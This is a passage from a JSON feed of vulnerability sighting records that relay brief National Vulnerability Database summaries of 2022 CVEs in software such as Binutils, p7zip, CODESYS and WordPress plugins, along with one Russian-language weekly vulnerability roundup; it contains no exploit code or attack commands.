"vulnerability": "CVE-2022-47695", "type": "seen", "source": "https://t.me/cibsecurity/68981", "content": "\u203c CVE-2022-47695 \u203c\n\nAn issue was discovered Binutils objdump before 2.39.3 allows attackers to cause a denial of service or other unspecified impacts via function bfd_mach_o_get_synthetic_symtab in match-o.c.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-22T22:22:01.000000Z"}, {"uuid": "ba3760f4-03d0-4fe6-8f5d-3aff8a0e9558", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47069", "type": "seen", "source": "https://t.me/cibsecurity/68972", "content": "\u203c CVE-2022-47069 \u203c\n\np7zip 16.02 was discovered to contain a heap-buffer-overflow vulnerability via the function NArchive::NZip::CInArchive::FindCd(bool) at CPP/7zip/Archive/Zip/ZipIn.cpp.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-22T22:18:19.000000Z"}, {"uuid": "f50fff0e-3932-47d8-a9b0-bf0c84b1f962", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47011", "type": "seen", "source": "https://t.me/cibsecurity/68956", "content": "\u203c CVE-2022-47011 \u203c\n\nAn issue was discovered function parse_stab_struct_fields in stabs.c in Binutils 2.34 thru 2.38, allows attackers to cause a denial of service due to memory leaks.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-22T22:17:58.000000Z"}, {"uuid": "23112eb1-3538-458e-80ed-ce6e3f2439ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47085", "type": "seen", "source": "https://t.me/cibsecurity/66909", "content": "\u203c CVE-2022-47085 \u203c\n\nAn issue was discovered in ostree before 2022.7 allows attackers to cause a denial of service or other unspecified impacts via the print_panic function in repo_checkout_filter.rs.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-18T18:32:43.000000Z"}, {"uuid": "0337be97-55f8-46e0-b4da-d6c6cc4f78e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47172", "type": "seen", "source": "https://t.me/cibsecurity/66830", "content": "\u203c CVE-2022-47172 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in HasThemes ShopLentor plugin <=\u00c2\u00a02.6.2 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-17T18:40:28.000000Z"}, {"uuid": "9d3f06d8-867b-4eba-b3b0-7e1e568fe243", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4782", "type": "seen", "source": "https://t.me/cibsecurity/68635", "content": "\u203c CVE-2022-4782 \u203c\n\nThe ClickFunnels WordPress plugin through 3.1.1 does not validate and escape one of its shortcode attributes, which could allow users with a role as low as contributor to perform Stored Cross-Site Scripting attack.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-16T16:47:24.000000Z"}, {"uuid": "b3be1a23-8073-400d-83ce-0ca332c52e48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47636", "type": "seen", "source": "https://t.me/cibsecurity/68240", "content": "\u203c CVE-2022-47636 \u203c\n\nA DLL hijacking vulnerability has been discovered in OutSystems Service Studio 11 11.53.30 build 61739. When a user open a .oml file (OutSystems Modeling Language), the application will load the following DLLs from the same directory av_libGLESv2.dll, libcef.DLL, user32.dll, and d3d10warp.dll. Using a crafted DLL, it is possible to execute arbitrary code in the context of the current logged in user.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-10T20:16:03.000000Z"}, {"uuid": "82fa8674-2311-4aef-9ae4-4285018847ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47185", "type": "seen", "source": "https://t.me/cibsecurity/68077", "content": "\u203c CVE-2022-47185 \u203c\n\nImproper input validation vulnerability on the range header in Apache Software Foundation Apache Traffic Server.This issue affects Apache Traffic Server: through 9.2.1.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-09T12:16:29.000000Z"}, {"uuid": "886e2309-e933-4aa9-95d7-4576f0ca9060", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47351", "type": "seen", "source": "https://t.me/cibsecurity/67844", "content": "\u203c CVE-2022-47351 \u203c\n\nIn camera driver, there is a possible out of bounds read due to a missing bounds check. This could lead to local denial of service with System execution privileges needed\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-08-07T07:13:05.000000Z"}, {"uuid": "4cddfffc-9b5a-4be8-8224-c1297467ee9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47448", "type": "seen", "source": "https://t.me/cibsecurity/64702", "content": "\u203c CVE-2022-47448 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in dev.Xiligroup.Com - MS plugin <=\u00c2\u00a01.12.03 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-24T20:27:26.000000Z"}, {"uuid": "2373f145-17b6-4e47-9ca4-7e59a4c6495a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47184", "type": "seen", "source": "https://t.me/cibsecurity/65226", "content": "\u203c CVE-2022-47184 \u203c\n\nExposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Software Foundation Apache Traffic Server.This issue affects Apache Traffic Server: 8.0.0 to 9.2.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-06-14T12:20:40.000000Z"}, {"uuid": "9603959a-08ce-4c37-aaaa-65d1daa643ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47152", "type": "seen", "source": "https://t.me/cibsecurity/64697", "content": "\u203c CVE-2022-47152 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in Etison, LLC ClickFunnels plugin <=\u00c2\u00a03.1.1 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-24T20:27:18.000000Z"}, {"uuid": "7b13f901-64ba-4872-b4f8-0af6796fc337", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47526", "type": "seen", "source": "https://t.me/cibsecurity/64804", "content": "\u203c CVE-2022-47526 \u203c\n\nFox-IT DataDiode (aka Fox DataDiode) 3.4.3 suffers from a path traversal vulnerability with resultant arbitrary writing of files. A remote attacker could leverage this vulnerability to achieve arbitrary code execution in the context of the downstream node user. Exploitation of this issue does not require user interaction.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-31T07:24:09.000000Z"}, {"uuid": "8f798903-7a8e-4fe6-80e2-34772ca214f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47447", "type": "seen", "source": "https://t.me/cibsecurity/64687", "content": "\u203c CVE-2022-47447 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in Mathieu Chartier WordPress WP-Advanced-Search plugin <=\u00c2\u00a03.3.8 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-24T20:27:05.000000Z"}, {"uuid": "dade4343-7c40-490d-b363-717c09a713f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47180", "type": "seen", "source": "https://t.me/cibsecurity/64689", "content": "\u203c CVE-2022-47180 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in Kopa Theme Kopa Framework plugin <=\u00c2\u00a01.3.5 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-24T20:27:07.000000Z"}, {"uuid": "558ce19d-3d01-4a4b-90f1-c99ff941d388", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47446", "type": "seen", "source": "https://t.me/cibsecurity/64688", "content": "\u203c CVE-2022-47446 \u203c\n\nCross-Site Request Forgery (CSRF) vulnerability in Viadat Creations Store Locator for WordPress with Google Maps \u00e2\u20ac\u201c LotsOfLocales plugin <=\u00c2\u00a03.98.7 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-24T20:27:06.000000Z"}, {"uuid": "c600b2dd-9383-41f4-bdab-474ec18f59ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47939", "type": "seen", "source": "https://t.me/cisoclub/2159", "content": "\u041e\u0431\u0437\u043e\u0440 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e (19-25 \u0434\u0435\u043a\u0430\u0431\u0440\u044f)\n\n1\ufe0f\u20e3 \u0412 \u0441\u043e\u0444\u0442\u0432\u0435\u0440\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430\u0445 Citrix ADC \u0438 Gateway \ud83d\udd0e\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u043e\u043d\u0438\u043a\u0430\u0442\u044c \u0432 IT-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\n2\ufe0f\u20e3 \u0418\u0437-\u0437\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0434 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043b\u0430\u0433\u0438\u043d YITH WooCommerce Gift Cards Premium, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u043d\u0430 50 000 \u0441\u0430\u0439\u0442\u0430\u0445 \ud83d\udcf0WordPress. \n\n3\ufe0f\u20e3 \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0445 \u043c\u043e\u0441\u0442\u0430\u0445 Hikvision \u043f\u0440\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \ud83e\uddb9\u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0446\u0435\u043b\u0435\u0432\u044b\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c. \n\n4\ufe0f\u20e3 \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \ud83c\uddf7\ud83c\uddfaPositive Technologies \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 7 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 \ud83c\uddef\ud83c\uddf5\u044f\u043f\u043e\u043d\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Mitsubishi Electric.\n\n5\ufe0f\u20e3 \u0421 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u043f\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 \u00ab\u041e\u0445\u043e\u0442\u044b \u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438\u00bb \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u00ab\u042f\u043d\u0434\u0435\u043a\u0441\u00bb \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0430 \u0432\u044b\u043f\u043b\u0430\u0447\u0438\u0432\u0430\u0442\u044c \u0432 \u0434\u0432\u0430 \u0440\u0430\u0437\u0430 \u0431\u043e\u043b\u044c\u0448\u0435 \ud83d\udcb0\u0434\u0435\u043d\u0435\u0433 \u0431\u0430\u0433\u0445\u0430\u043d\u0442\u0435\u0440\u0430\u043c \u0437\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445 \u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n6\ufe0f\u20e3 \u041f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u043b\u0435\u0442\u043e\u043c \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Thales Group \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u2755\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2022-47939) \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 ksmbd \u044f\u0434\u0440\u0430 Linux, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432 \u044f\u0434\u0440\u043e \u200b\u200b\u0432 \u0432\u0435\u0440\u0441\u0438\u0438 5.15. \n\n7\ufe0f\u20e3 \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \ud83d\udcbb \u043f\u0430\u0440\u043e\u043b\u0435\u0439 Passwordstate enterprise, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0430\u0432\u0441\u0442\u0440\u0430\u043b\u0438\u0439\u0441\u043a\u043e\u0439 \u0444\u0438\u0440\u043c\u043e\u0439 Click Studios, \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c.\n\n8\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Foxit Software \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \ud83d\udee0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0432\u0430\u0436\u043d\u043e\u0441\u0442\u0438, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0444\u043b\u0430\u0433\u043c\u0430\u043d\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 PDF Reader \u0438 PDF Editor.", "creation_timestamp": "2026-07-30T00:02:58.390882Z"}, {"uuid": "1e7bdd57-a6fb-4776-a3ab-998d8c300c7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47157", "type": "seen", "source": "https://t.me/cibsecurity/64384", "content": "\u203c CVE-2022-47157 \u203c\n\nAuth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Don Benjamin WP Custom Fields Search plugin <=\u00c2\u00a01.2.34 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-18T14:32:09.000000Z"}, {"uuid": "ac90db72-cbd7-495f-90fb-75471db86589", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47984", "type": "seen", "source": "https://t.me/cibsecurity/64464", "content": "\u203c CVE-2022-47984 \u203c\n\nIBM InfoSphere Information Server 11.7 is vulnerable to SQL injection. A remote attacker could send specially crafted SQL statements, which could allow the attacker to view, add, modify or delete information in the back-end database. IBM X-Force ID: 243163.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-19T20:33:28.000000Z"}, {"uuid": "2ba33edd-4342-49fb-9b17-88b1821d32a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4774", "type": "seen", "source": "https://t.me/cibsecurity/64125", "content": "\u203c CVE-2022-4774 \u203c\n\nThe Bit Form WordPress plugin before 1.9 does not validate the file types uploaded via it's file upload form field, allowing unauthenticated users to upload arbitrary files types such as PHP or HTML files to the server, leading to Remote Code Execution.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T16:43:18.000000Z"}, {"uuid": "cff17ee4-798b-479c-b0a8-0281a7f30fcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47386", "type": "seen", "source": "https://t.me/cibsecurity/64099", "content": "\u203c CVE-2022-47386 \u203c\n\nAn authenticated, remote attacker may use a stack based out-of-bounds write vulnerability in the CmpTraceMgr Component of multiple CODESYS products in multiple versions to write data into the stack which can lead\u00c2\u00a0to a denial-of-service condition, memory overwriting, or remote code execution.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T14:29:48.000000Z"}, {"uuid": "b1364583-32b3-44d0-ba70-0a94c7f79d9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47391", "type": "seen", "source": "https://t.me/cibsecurity/64098", "content": "\u203c CVE-2022-47391 \u203c\n\nIn multiple CODESYS products in multiple versions an unauthorized, remote attacker may use a improper input validation vulnerability to read from invalid addresses leading to a denial of service.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T14:29:47.000000Z"}, {"uuid": "eccb9bbd-6ea7-444b-9699-b694f4d16587", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47381", "type": "seen", "source": "https://t.me/cibsecurity/64096", "content": "\u203c CVE-2022-47381 \u203c\n\nAn authenticated remote attacker may use a stack based out-of-bounds write vulnerability in multiple CODESYS products in multiple versions to write data into the stack which can lead\u00c2\u00a0to a denial-of-service condition, memory overwriting, or remote code execution.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T14:29:42.000000Z"}, {"uuid": "e5bfd91a-a080-4c74-8df5-025da3dd47db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47388", "type": "seen", "source": "https://t.me/cibsecurity/64094", "content": "\u203c CVE-2022-47388 \u203c\n\nAn authenticated, remote attacker may use a stack based out-of-bounds write vulnerability in the CmpTraceMgr Component of multiple CODESYS products in multiple versions to write data into the stack which can lead\u00c2\u00a0to a denial-of-service condition, memory overwriting, or remote code execution.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T14:29:40.000000Z"}, {"uuid": "c2029847-1a07-4922-8998-3266feea8613", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47379", "type": "seen", "source": "https://t.me/cibsecurity/64101", "content": "\u203c CVE-2022-47379 \u203c\n\nAn authenticated, remote attacker may use a out-of-bounds write vulnerability in multiple CODESYS products in multiple versions to write data into memory which can lead\u00c2\u00a0to a denial-of-service condition, memory overwriting, or remote code execution.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T14:29:49.000000Z"}, {"uuid": "9c59ccc5-da8c-45b8-9772-ad4423db0359", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47383", "type": "seen", "source": "https://t.me/cibsecurity/64100", "content": "\u203c CVE-2022-47383 \u203c\n\nAn authenticated, remote attacker may use a stack based out-of-bounds write vulnerability in the CmpTraceMgr Component of multiple CODESYS products in multiple versions to write data into the stack which can lead\u00c2\u00a0to a denial-of-service condition, memory overwriting, or remote code execution.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T14:29:49.000000Z"}, {"uuid": "136ce26a-81fd-46f9-b6be-c22f5a4ffe47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47393", "type": "seen", "source": "https://t.me/cibsecurity/64092", "content": "\u203c CVE-2022-47393 \u203c\n\nAn authenticated, remote attacker may use a Improper Restriction of Operations within the Bounds of a Memory Buffer vulnerability in multiple versions of multiple CODESYS products to force a denial-of-service situation.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T14:29:35.000000Z"}, {"uuid": "3fb8c5c9-4d90-42f4-a706-a609952834d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47390", "type": "seen", "source": "https://t.me/cibsecurity/64091", "content": "\u203c CVE-2022-47390 \u203c\n\nAn authenticated, remote attacker may use a stack based out-of-bounds write vulnerability in the CmpTraceMgr Component of multiple CODESYS products in multiple versions to write data into the stack which can lead\u00c2\u00a0to a denial-of-service condition, memory overwriting, or remote code execution.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T14:29:34.000000Z"}, {"uuid": "5ca56cbc-6654-4a26-b3ff-4d0a1e9b2207", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47378", "type": "seen", "source": "https://t.me/cibsecurity/64086", "content": "\u203c CVE-2022-47378 \u203c\n\nMultiple CODESYS products in multiple versions are prone to a improper input validation vulnerability. An authenticated remote attacker may craft specific requests that use the vulnerability leading to a denial-of-service condition.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T14:29:27.000000Z"}, {"uuid": "125186ef-484f-4641-918e-3f329f733f59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47387", "type": "seen", "source": "https://t.me/cibsecurity/64084", "content": "\u203c CVE-2022-47387 \u203c\n\nAn authenticated remote attacker may use a stack based out-of-bounds write vulnerability in the CmpTraceMgr Component of multiple CODESYS products in multiple versions to write data into the stack which can lead\u00c2\u00a0to a denial-of-service condition, memory overwriting, or remote code execution.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-15T14:29:25.000000Z"}, {"uuid": "f0a53b6d-190d-4bf7-a259-a99ff325abc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47879", "type": "seen", "source": "https://t.me/cibsecurity/64031", "content": "\u203c CVE-2022-47879 \u203c\n\nA Remote Code Execution (RCE) vulnerability in /be/rpc.php in Jedox 2020.2.5 allows remote authenticated users to load arbitrary PHP classes from the 'rtn' directory and execute its methods.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T18:27:20.000000Z"}, {"uuid": "9ce0862d-cf67-4573-b1a2-edf09e8cc360", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47880", "type": "seen", "source": "https://t.me/cibsecurity/64023", "content": "\u203c CVE-2022-47880 \u203c\n\nAn Information disclosure vulnerability in /be/rpc.php in Jedox GmbH Jedox 2020.2.5 allow remote, authenticated users with permissions to modify database connections to disclose a connections' cleartext password via the 'test connection' function.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-12T18:27:09.000000Z"}, {"uuid": "4e853e4e-cb4d-4b7e-b45c-f65e061508a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47606", "type": "seen", "source": "https://t.me/cibsecurity/63738", "content": "\u203c CVE-2022-47606 \u203c\n\nAuth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Tim Stephenson WP-CORS plugin <=\u00c2\u00a00.2.1 versions.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-05-10T14:14:26.000000Z"}, {"uuid": 